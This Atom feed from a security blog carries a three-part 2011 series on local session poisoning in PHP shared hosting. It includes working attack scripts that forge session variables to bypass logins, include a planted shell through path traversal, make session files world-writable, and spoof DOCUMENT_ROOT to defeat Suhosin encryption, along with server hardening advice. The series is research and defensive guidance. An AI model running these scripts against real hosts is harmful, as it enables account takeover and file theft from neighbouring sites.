<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2830206898979206277</id><updated>2026-04-10T13:53:29.001+02:00</updated><category term="php"/><category term="POC"/><category term="local"/><category term="php sessions"/><category term="phpMyAdmin"/><category term="session poisoning"/><category term="encrypt.se"/><category term="free"/><category term="projects"/><category term="exploit"/><category term="mysql"/><title type='text'>Haxxor Security</title><subtitle type='html'>A blog about security research and other things that might be relevant to my interests.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ha.xxor.se/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-8749879595469859378</id><published>2011-09-29T00:10:00.001+02:00</published><updated>2011-09-29T15:05:27.864+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="local"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="php sessions"/><category scheme="http://www.blogger.com/atom/ns#" term="POC"/><category scheme="http://www.blogger.com/atom/ns#" term="session poisoning"/><title type='text'>Local Session Poisoning in PHP Part 3: Bypassing Suhosin&#39;s Session Encryption</title><content type='html'>By default Suhosin transparently encrypts session files stored by PHP. This seems to be adequate protection against local session poisoning in a shared hosting environment. But let&#39;s take a closer look.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;h2&gt;Article series&lt;/h2&gt;
Part 1: The Basics of Exploitation and How to Secure a Server&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Part 2: Promiscuous Session Files&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Part 3: Bypassing Suhosin&#39;s Session Encryption&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html&lt;/a&gt;
&lt;h2&gt;Generating the key&lt;/h2&gt;
When processing a request, Suhosin generates a unique encryption key for each client. To build the encryption key, an algorithm is seeded with 4 pieces of data, or a subset thereof. The user-agent, the document-root, 0-4 octets of the remote IP address and a user defined key. These pieces of data are chosen to produce a unique key for every client on every domain.
&lt;br /&gt;
&lt;br /&gt;
Domain A and B are hosted on the same shared server and an attacker with access to domain B wants to conduct a local session poisoning attack targeting domain A. When transparent session encryption is enabled the attacker is required to replicate the conditions of the targeted web application at domain A when decrypting/encrypting its session files in the context of domain B.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;
The remote IP address of the attacker normally does not change and need not be cared about.
&lt;/li&gt;
&lt;li&gt;
The user-agent is also controlled by the attacker and normally does not change.
&lt;/li&gt;
&lt;li&gt;
The user defined key is a string defined in the runtime configuration option &lt;a href=&quot;http://www.hardened-php.net/suhosin/configuration.html#suhosin.session.cryptkey&quot;&gt;suhosin.session.cryptkey&lt;/a&gt;. By default it is an empty string. And even if set, it is usually a global setting meaning that domain A and domain B shares the same key. But if domain A actually has got its own unique key configured, the only remaining option is to bruteforce it. A bruteforce will probably fail unless a very short or otherwise inadequate key was chosen.
&lt;/li&gt;
&lt;li&gt;
The document-root is the web server&#39;s root directory where the web site&#39;s files resides, and therefore unique to every domain on a shared server. To generate the same key as domain A in the context of domain B, the attacker needs to spoof domain B&#39;s document-root to that of domain A.
&lt;/li&gt;
&lt;/ul&gt;
Let&#39;s check out lines 568-624 in session.c of Suhosins source code. Here is suhosin_generate_key, the function responsible for generating the key used when encrypting the session files.
&lt;code class=&quot;brush:c;first-line:568&quot;&gt;
char *suhosin_generate_key(char *key, zend_bool ua, zend_bool dr, long raddr, char *cryptkey TSRMLS_DC)
{
 char *_ua = NULL;
 char *_dr = NULL;
 char *_ra = NULL;
 suhosin_SHA256_CTX ctx;
 
 if (ua) {
  _ua = sapi_getenv(&quot;HTTP_USER_AGENT&quot;, sizeof(&quot;HTTP_USER_AGENT&quot;)-1 TSRMLS_CC);
 }
 
 if (dr) {
  _dr = sapi_getenv(&quot;DOCUMENT_ROOT&quot;, sizeof(&quot;DOCUMENT_ROOT&quot;)-1 TSRMLS_CC);
 }
 
 if (raddr &gt; 0) {
  _ra = sapi_getenv(&quot;REMOTE_ADDR&quot;, sizeof(&quot;REMOTE_ADDR&quot;)-1 TSRMLS_CC);
 }
 
 SDEBUG(&quot;(suhosin_generate_key) KEY: %s - UA: %s - DR: %s - RA: %s&quot;, key,_ua,_dr,_ra);
 
 suhosin_SHA256Init(&amp;ctx);
 if (key == NULL) {
  suhosin_SHA256Update(&amp;ctx, (unsigned char*)&quot;D3F4UL7&quot;, sizeof(&quot;D3F4UL7&quot;));
 } else {
  suhosin_SHA256Update(&amp;ctx, (unsigned char*)key, strlen(key));
 }
 if (_ua) {
  suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ua, strlen(_ua));
 }
 if (_dr) {
  suhosin_SHA256Update(&amp;ctx, (unsigned char*)_dr, strlen(_dr));
 }
 if (_ra) {
  if (raddr &gt;= 4) {
   suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ra, strlen(_ra));
  } else {
   long dots = 0;
   char *tmp = _ra;
   
   while (*tmp) {
    if (*tmp == &#39;.&#39;) {
     dots++;
     if (dots == raddr) {
      break;
     }
    }
    tmp++;
   }
   suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ra, tmp-_ra);
  }
 }
 suhosin_SHA256Final((unsigned char *)cryptkey, &amp;ctx);
 cryptkey[32] = 0; /* uhmm... not really a string */
 
 return cryptkey;
}
&lt;/code&gt;

&lt;h2&gt;Spoofing DOCUMENT_ROOT&lt;/h2&gt;
On line 580 in session.c the value used when generating the key is retrieved from an environment variable by the function sapi_getenv. The thing is that environment variables can be modified from within a PHP script and the document-root can therefore be spoofed before the session is initialized.
&lt;br /&gt;
&lt;br /&gt;
Here is a short script utilizing a function that tries three different methods to set the DOCUMENT_ROOT environment variable.
&lt;code class=&quot;brush:php&quot;&gt;
// Output original value
echo &quot;[i] DOCUMENT_ROOT was set to &#39;&quot;.getenv(&#39;DOCUMENT_ROOT&#39;).&quot;&#39;.\n&quot;;
// Function to set the DOCUMENT_ROOT environment variable
setdocroot(&#39;/hsphere/local/home/useraaa/domain-a.com&#39;);
// Output new value
echo &quot;[i] DOCUMENT_ROOT changed to &#39;&quot;.getenv(&#39;DOCUMENT_ROOT&#39;).&quot;&#39;.\n&quot;;

// Initializing a session
session_start();
// Setting some arbitrary values
$_SESSION[&#39;x1&#39;] = &#39;hej&#39;;
$_SESSION[&#39;x2&#39;] = &#39;apa&#39;;
// Closing the session
session_write_close();

function setdocroot($docroot){
 // Function trying different methods to
 // set the DOCUMENT_ROOT environment variable.
 // http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html
 @putenv(&quot;DOCUMENT_ROOT=$docroot&quot;);
 if($docroot === getenv(&#39;DOCUMENT_ROOT&#39;))return true;
 if(is_callable(&#39;apache_setenv&#39;)){
  apache_setenv(&#39;DOCUMENT_ROOT&#39;,$docroot);
  if($docroot === getenv(&#39;DOCUMENT_ROOT&#39;))return true;
 }
 @exec(&quot;SET DOCUMENT_ROOT=$docroot&quot;);
 if($docroot === getenv(&#39;DOCUMENT_ROOT&#39;))return true;
 return false;
}
&lt;/code&gt;

The attacker with access to domain B will have to make an educated guess to what the document-root of domain A is. Clues can be found by studying domain B&#39;s own document-root. Usually it contains the user name and domain name, both which would be substituted by those relevant to domain A.
&lt;br /&gt;
&lt;br /&gt;
A more precise way of obtaining domain A&#39;s document-root is to utilize a &lt;a href=&quot;https://www.owasp.org/index.php/Full_Path_Disclosure&quot;&gt;Full Path Disclosure vulnerability&lt;/a&gt;. As suggested by OWASP, the PHPSESSID cookie could be set to an empty string which, if error reporting is turned on, triggers an error message like this one that reveals the local path.
&lt;pre&gt;
Warning: session_start() [function.session-start]: The session id contains illegal characters, 
valid characters are a-z, A-Z, 0-9 and &#39;-,&#39; in /hsphere/local/home/useraaa/domain-a.com/includes/session.php on line 4
&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/8749879595469859378/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html#comment-form' title='30 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/8749879595469859378'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/8749879595469859378'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html' title='Local Session Poisoning in PHP Part 3: Bypassing Suhosin&#39;s Session Encryption'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>30</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-596490161637373275</id><published>2011-09-15T11:52:00.004+02:00</published><updated>2011-09-29T15:05:09.186+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="local"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="php sessions"/><category scheme="http://www.blogger.com/atom/ns#" term="POC"/><category scheme="http://www.blogger.com/atom/ns#" term="session poisoning"/><title type='text'>Local Session Poisoning in PHP Part 2: Promiscuous Session Files</title><content type='html'>FastCGI, suPHP and suExec can all ensure that a PHP script which is called from the web will execute under the user that owns it, as opposed to the user the web server is running as. This seemingly protects against session poisoning by ensuring that a malicious user no longer can open and manipulate session files owned by other users in a shared host.&lt;br /&gt;
&lt;br /&gt;
&lt;!--
By default PHP&#39;s option &quot;session.save_handler&quot; is set to &quot;files&quot; which is the most commonly used session handler. In this configuration a serialized string representation of the $_SESSION array is stored in a file. These files are stored in a directory specified by the configuration option &quot;session.save_path&quot;.&lt;br /&gt;
&lt;br /&gt;
--&gt;
The hidden pitfall is that while these protection mechanisms protect session files from unauthorized access, they can not prevent a user from authorizing others to access its session files. If all the session files are stored in a common folder it is trivial to trick a web application into loading session variables from a promiscuous session file.
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;h2&gt;Article series&lt;/h2&gt;
Part 1: The Basics of Exploitation and How to Secure a Server&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Part 2: Promiscuous Session Files&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Part 3: Bypassing Suhosin&#39;s Session Encryption&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html&lt;/a&gt;

&lt;h2&gt;Creating a promiscuous session&lt;/h2&gt;
Domain A and B are hosted on the same shared server. One user with access to domain B targets domain A.&lt;br /&gt;
&lt;br /&gt;
On domain B, first choose a suitable session or initialize a new one. Then locate where the session files are stored. This path is usually set by the runtime configuration option session.save_path. If not, it defaults to the local temp directory, such as /tmp on most unix systems. Then find the session file. Its name is the prefix &quot;sess_&quot; followed by its session id. Change its permissions so that it is readable and writable by anyone. Now domain A as well as any other web application in that shared host can access and use this session.&lt;br /&gt;
&lt;br /&gt;
Here is a script to automatically create a promiscuous session.
&lt;code class=&quot;brush:php&quot;&gt;
&amp;lt;?php
// Local Session Poisoning in PHP Part 2: Promiscuous Session Files
// http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html
// Creating a promiscuous session

// Initsialize a session
@session_start();
// Get the session id
$sessid = session_id();
echo &quot;[i] Session id: $sessid\n&quot;;
// Close the session
session_write_close();

// Retrieve the path where session files are saved
session_save_path(); // Might have to be called twice... not sure.
$sesspath = session_save_path();
//if(php_sapi_name()!==&#39;cli&#39;)echo &quot;&amp;lt;pre&gt;\n&quot;;
// Test session.save_handler
$sessmod = session_module_name();
if(empty($sessmod))$sessmod = ini_get(&#39;session.save_handler&#39;);
echo &quot;[i] Session save handler: $sessmod\n&quot;;
if($sessmod !== &#39;files&#39;){
 echo &quot;[!] Possible Error: session.save_handler is set to &#39;$sessmod&#39; instead of &#39;files&#39;. Trying anyway.\n&quot;;
}
// If retrieving the path failed. Try this.
if(empty($sesspath)){
 $sesspath = ini_get(&#39;session.save_path&#39;);
 if(empty($sesspath)){
  if(function_exists(&#39;sys_get_temp_dir&#39;)){
   $sesspath = sys_get_temp_dir();
  }else{
   die(&#39;[!] Error:Cannot find session save path. Try setting it manually.&#39;);
  }
 }
}
$sesspath = @array_pop(explode(&#39;;&#39;,$sesspath));
echo &quot;[i] Session save path: $sesspath\n&quot;;
// Enumerate sessions
$sessions = array();
clearstatcache();
// Search for the session file
if(!findSessIn($sesspath)){
 die(&quot;[!] Error: Cannot open the session save path.\n&quot;);
}
die(&#39;[!] Error: Cannot find session file. Try it manually.&#39;);

function findSessIn($dir){
 global $sessid;
 if(!($handler = opendir($dir))){
  return false;
 }
 while ($file = readdir($handler)){
  $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file : $dir.DIRECTORY_SEPARATOR.$file;
  if ($file === &#39;sess_&#39;.$sessid){
   // Found the session file
   echo &quot;[i] Found session file: $path\n&quot;;
   // Change permissions
   if(chmod($path, 0666)){
    echo &quot;[i] Session file permissions set to &quot;.substr(decoct(fileperms($path)),2).&quot;\n&quot;;
    echo &quot;[*] Done! Promiscuous session $sessid successfully created.\n&quot;;
    echo &quot;[i] Now modify the PHPSESSID cookie to use it.\n&quot;;
    die();
   }else{
    echo &quot;[i] Failed to chmod session file to 0666. Try doing it manually.\n&quot;;
   }
   return true;
  }elseif(strlen($file) === 1 &amp;amp;&amp;amp; is_dir($path) &amp;amp;&amp;amp; $file !== &#39;.&#39;){
   findSessIn($path);
  }
 }
 closedir($handler);
 return true;
}
?&gt;
&lt;/code&gt;
&lt;h2&gt;Using a promiscuous session&lt;/h2&gt;
When a session file has been made readable and writable by anyone on the server, a web application on domain A can load its session variables from it.&lt;br /&gt;
&lt;br /&gt;
Modify the PHPSESSID cookie belonging to the targeted web application on domain A to use the promiscuous session&#39;s id. Usually a browser extension that enables one to modify ones cookies is to prefer, but unless the HttpOnly flag on the cookie is set, JavaScript will do.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&#39;javascript:void(document.cookie=prompt(&quot;[Ha.xxor.se\x20Cookie\x20Editor!]\n\n-------------------\n\x20&quot;+document.cookie.split(&quot;;&quot;).join(&quot;;\n&quot;)+&quot;\n-------------------&quot;,document.cookie));&#39;&gt;This link contains a small bookmarklet cookie editor&lt;/a&gt;, save it as a bookmark or copy-paste it into the browsers address bar. Execute it in the context of domain A and modify the PHPSESSID cookie.&lt;br /&gt;
&lt;br /&gt;

When the session id in the cookie has been changed it will be sent to the web application in the next request made to it. The web application will take the session id, locate the session file,
find out that it can both read and write to it and think of it as its own. From that web applications point of view, there is no difference between this and its normal sessions, although one important difference exists. Domain B can modify this session at will.
&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;Anti session fixation&lt;/h2&gt;
Note that this is a type of self inflicted session fixation. It will therefore be interrupted by anti session fixation techniques, which switches to a new session id. This will probably make one unable to keep the promiscuous session while authenticating or passing any other function that likely implements anti session fixation techniques. But by prefilling the session with the expected variables, it need not be a problem.</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/596490161637373275/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html#comment-form' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/596490161637373275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/596490161637373275'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html' title='Local Session Poisoning in PHP Part 2: Promiscuous Session Files'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-9016614003994323109</id><published>2011-09-07T13:20:00.008+02:00</published><updated>2011-09-29T15:04:23.684+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="local"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="php sessions"/><category scheme="http://www.blogger.com/atom/ns#" term="session poisoning"/><title type='text'>Local Session Poisoning in PHP Part 1: The Basics of Exploitation and How to Secure a Server</title><content type='html'>Session poisoning is the act of manipulating sessions specific data in PHP. To add, change or remove variables stored in the super global $_SESSION array.&lt;br /&gt;
&lt;br /&gt;
Local session poisoning is enabled by the fact that one web application can manipulate a variable in the $_SESSION array while another web application has no way of knowing how that variable&#39;s value came to be, and will interpret the variable according to its own logic. The $_SESSION array can then be manipulated to contain the values needed to spoof a logged in user or exploit a vulnerable function. PHP programmers put far more trust in $_SESSION variables than for example $_GET variables. The $_SESSION array is considered an internal variable, and an internal variable would never contain malicious input, would it?
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;h2&gt;Article series&lt;/h2&gt;
Part 1: The Basics of Exploitation and How to Secure a Server&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Part 2: Promiscuous Session Files&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Part 3: Bypassing Suhosin&#39;s Session Encryption&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html&quot;&gt;http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html&lt;/a&gt;
&lt;h2&gt;PHP&#39;s session storage&lt;/h2&gt;
By default PHP&#39;s option &quot;session.save_handler&quot; is set to &quot;files&quot; which is the most commonly used session handler. In this configuration a serialized string representation of the $_SESSION array is stored in a file. These files are stored in a directory specified by the configuration option &quot;session.save_path&quot;, and their names are composed of the prefix &quot;sess_&quot; followed by the session id.&lt;br /&gt;
&lt;br /&gt;
The default way to tie a client to a session is to store the session id in a cookie called &quot;PHPSESSID&quot;. The client can easily switch between session by modifying this cookie.

&lt;h2&gt;Shared hosting environments&lt;/h2&gt;
In shared hosts it is a common practice to use a collective session storage, to store all of the hosted web applications&#39; session files in the same folder. This type of configuration is strongly advised against as it in just about every case is vulnerable to session poisoning and enables local users to insert arbitrary variables in other users&#39; web application sessions.&lt;br /&gt;
&lt;br /&gt;
There are security layers, patches and plugins to PHP which you would think prevents local session poisoning in shared hosts. suPHP and suEXEC uses ownership and strict permissions on the files in PHP&#39;s session storage. However it is trivial to fool this system, as described in part two of this article series. Suhosin offers options to encrypt the session files but in its default configuration it can easily be bypassed, as described in part three of this article series.&lt;br /&gt;
&lt;br /&gt;
Local session poisoning is a significant threat even when faced with a remote attacker. If a determined attacker fails to find any exploitable vulnerabilities in a web application, but notices that the web application resides in a shared host, the attacker would enumerate other domain names resolving to the same IP by for example utilizing &lt;a href=&quot;http://www.ip-neighbors.com&quot;&gt;http://www.ip-neighbors.com&lt;/a&gt;, &lt;a href=&quot;http://hostspy.org/&quot;&gt;http://hostspy.org/&lt;/a&gt;, &lt;a href=&quot;http://www.my-ip-neighbors.com/&quot;&gt;http://www.my-ip-neighbors.com/&lt;/a&gt; or &lt;a href=&quot;http://www.bing.com/search?q=ip%3A207.46.197.32&quot;&gt;Bing&#39;s ip search operator&lt;/a&gt;. One of the neighbouring web applications is bound to have an unpatched flaw. When exploited, the remote attacker possesses all the capabilities of a local user and continues to attack the desired target from within the hosting server.

&lt;h2&gt;Example 1: Spoofing variables&lt;/h2&gt;
The easiest path of exploitation is to focus on the parts of an application that utilizes sessions. By spoofing values one could fool its internal logic and for example bypass authentication.&lt;br /&gt;
&lt;br /&gt;
Consider an autentication routine like this one present in a web application on domain A.
&lt;code class=&quot;brush:php&quot;&gt;
// Starting the session
session_start();
// Authentication
if(isset($_SESSION[&#39;isLoggedIn&#39;]) &amp;&amp; $_SESSION[&#39;isLoggedIn&#39;]){
 // Already authenticated, proceed.
 haveAwsomeAmountsOfFun();
}elseif(isset($_POST[&#39;loginButton&#39;])){
 // Loggin in. Check credentials.
 $_SESSION[&#39;isLoggedIn&#39;] = checkCredentials($_POST[&#39;username&#39;], $_POST[&#39;password&#39;]);
}else{
 // Not logged in. Show login form.
 showLoginForm();
 exit();
}
&lt;/code&gt;
Domain B is a separate domain hosted on the same server. By running this code on domain B one could spoof authentication for domain A.
&lt;code class=&quot;brush:php&quot;&gt;
// Inser your session id.
session_id(&#39;16khau0g8c3mp3t3jbsedsc1mf0blvpu&#39;);
// Start the session
session_start();
// Spoof a variable
$_SESSION[&#39;isLoggedIn&#39;] = true;
// Close the session
session_write_close();
&lt;/code&gt;
Now the variable $_SESSION[&#39;isLoggedIn&#39;] is set to true and session id &quot;16khau0g8c3mp3t3jbsedsc1mf0blvpu&quot;, when used on domain A, is authenticated.

&lt;h2&gt;Example 2: Exploitable function calls&lt;/h2&gt;
Because of the inherit trust the $_SESSION array possesses due to its status as an internal variable, PHP programmers do not sanitize its values. Where one would never trust the contents of a $_GET variable, the contents of a $_SESSION variable is usually considered to be safe.&lt;br /&gt;
&lt;br /&gt;
Consider this potential flaw in a web application on domain A.
&lt;code class=&quot;brush:php&quot;&gt;
// Starting the session
session_start();

// ...

if(isset($_SESSION[&#39;theme&#39;]){
 include(&#39;themes/&#39;.$_SESSION[&#39;theme&#39;].&#39;.php&#39;);
}else{
 include(&#39;themes/default.php&#39;);
}
&lt;/code&gt;
And this code sample required to exploit it from domain B.
&lt;code class=&quot;brush:php&quot;&gt;
// Inser your session id.
session_id(&#39;16khau0g8c3mp3t3jbsedsc1mf0blvpu&#39;);
// Start the session
session_start();
// Spoof a variable
$_SESSION[&#39;theme&#39;] = &#39;../../../../mallroy/public_html/shell&#39;;
// Close the session
session_write_close();
&lt;/code&gt;
When the web application on domain A is executed with session id &quot;16khau0g8c3mp3t3jbsedsc1mf0blvpu&quot;, &quot;themes/../../../../mallroy/public_html/shell.php&quot; would be included.

&lt;h2&gt;Example 3: Autoloading classes&lt;/h2&gt;
If an &lt;a href=&quot;http://php.net/manual/en/language.oop5.autoload.php&quot;&gt;autoload function&lt;/a&gt; has been defined before the session is started, it will automatically be called to try to load any undefined class. If the session includes an object using an undefined class, the objects class name will be passed as the first argument to the autoload function when the object is being unserialized by the session handler. An autoload function will usually try to include a file derived from that name, like this.
&lt;code class=&quot;brush:php&quot;&gt;
// Setup autoload function
function __autoload($class_name) {
    include $class_name . &#39;.php&#39;;
}

// ...

// Starting the session
session_start();
&lt;/code&gt;
Any object stored in the $_SESSION array will trigger the autoload. This code sample used on domain B would subsequently cause domain A to include the file ClassName.php.
&lt;code class=&quot;brush:php&quot;&gt;
// Define class
class ClassName{}

// Inser your session id.
session_id(&#39;16khau0g8c3mp3t3jbsedsc1mf0blvpu&#39;);
// Start the session
session_start();
// Spoof a variable
$_SESSION[&#39;anyvar&#39;] = new ClassName();
// Close the session
session_write_close();

&lt;/code&gt;
Path traversal is not possible because both the dot and the slash are invalid characters in an objects name. Valid characters are A-Z, a-z, 0-9, _ and \x80-\xFF.  As of PHP 5.3 the backslash character is also valid due to its use as a &lt;a href=&quot;http://www.php.net/manual/en/language.namespaces.rules.php&quot;&gt;namespace separator&lt;/a&gt;. In Windows hosts, the backslash can be used as directory separator and cause an autoload function to include files from subfolders. However some programmers build their autoload function to replace underlines with slashes to allow it to naturally include files from subfolders.

&lt;h2&gt;Example 4: Invoking an objects sleep- and wakeup methods&lt;/h2&gt;
A class may define &lt;a href=&quot;http://www.php.net/manual/en/language.oop5.magic.php#language.oop5.magic.sleep&quot;&gt;a sleep- and a wakeup method&lt;/a&gt;. When an object, of a previously defined or autoloaded class, in the session array is unserialized by the session handler its wakeup method is invoked, and when serialized its sleep method is invoked. This causes an unnatural flow in the code and might expose otherwise unreachable flaws, specially since all the internal variables in the object can set arbitrarily.&lt;br /&gt;
&lt;br /&gt;
Here is an example of a vulnerable logging class on domain A which loads a file in its wakeup method.
&lt;code class=&quot;brush:php&quot;&gt;
class VulnLogClass{
 protected $logfile = &#39;error.log&#39;;
 protected $logdata = &#39;&#39;;

 // Various logging methods here ...

 public function __wakeup(){
  // Load log from file
  $this-&gt;logdata = file_get_contents($this-&gt;logfile);
 }
}

// Starting the session
session_start();
&lt;/code&gt;

Using this code sample on domain B one could subsequently cause the web application on domain A to read the contents of an arbitrary file into a variable in the object when executed with this session.
&lt;code class=&quot;brush:php&quot;&gt;
// Define a dummy class with modified variables
class VulnLogClass{
 protected $logfile = &#39;../secret.php&#39;;
 protected $logdata = &#39;&#39;;
}

// Inser your session id.
session_id(&#39;16khau0g8c3mp3t3jbsedsc1mf0blvpu&#39;);
// Start the session
session_start();
// Store an instance of the dummy class in $_SESSION
$_SESSION[&#39;anyvar&#39;] = new VulnLogClass();
// Close the session
session_write_close();
&lt;/code&gt;

Domain B could then view the contents like this.
&lt;code class=&quot;brush:php&quot;&gt;
// Define a dummy class with the same name
class VulnLogClass{}

// Inser your session id.
session_id(&#39;16khau0g8c3mp3t3jbsedsc1mf0blvpu&#39;);
// Start the session
session_start();
// Dump the data stored within the object.
var_dump($_SESSION[&#39;anyvar&#39;]);
// Close the session
session_write_close();
&lt;/code&gt;

&lt;h2&gt;Should programmers sanitize session variables?&lt;/h2&gt;
No, programmers should not sanitize session variables. The server admin is responsible for adequately securing the session files.

&lt;h2&gt;Securing a shared hosting environment&lt;/h2&gt;
In shared hosts, session files from one web application should not reside in the same directory as that of another web application. And the directory they do reside in should not be readable nor writable by any one other than the owner. To accomplish this, for each user, create a user-owned folder and have its permissions set to 600. Then, for each user, set the runtime configuration option &lt;a href=&quot;http://www.php.net/manual/en/session.configuration.php#ini.session.save-path&quot;&gt;session.save_path&lt;/a&gt; to the path of their folder.
&lt;pre&gt;
session.save_path /hsphere/local/home/exampleuser/sessionstorage
&lt;/pre&gt;
If Suhosin is installed on the server there is a slightly simpler way to secure the session storage. By utilizing session encryption all the session files can be kept together in a common folder. For this to be secure, each user must be assigned a unique encryption key as set by the configuration option &lt;a href=&quot;http://www.hardened-php.net/suhosin/configuration.html#suhosin.session.cryptkey&quot;&gt;suhosin.session.cryptkey&lt;/a&gt;.
&lt;pre&gt;
suhosin.session.cryptkey 5up3rRan0mK3y)withSauc3+
&lt;/pre&gt;
The server administrator should configure the shared host using at least one of these two methods. One way to accomplish this, if PHP is installed as an Apache module, is for each VirtualHost block in the Apache httpd.conf file to contain these settings prefixed by &lt;a href=&quot;http://php.net/manual/en/configuration.changes.php&quot;&gt;&quot;php_value&quot; as specified in the manual&lt;/a&gt;. If PHP is running in CGI/FastCGI mode, &lt;a href=&quot;http://us3.php.net/manual/en/ini.sections.php&quot;&gt;php.ini sections&lt;/a&gt; can be configured to accomplish the same goal. Other variations or special environments may need to be configured in their own way. The important thing is that each user has their own unique session storage path or encryption key. If however this has been neglected by the administrator, individual users can for example try to set these configuration options by themselves by adding them to a .htaccess-file or by any other means available in their environment.&lt;br /&gt;
&lt;br /&gt;
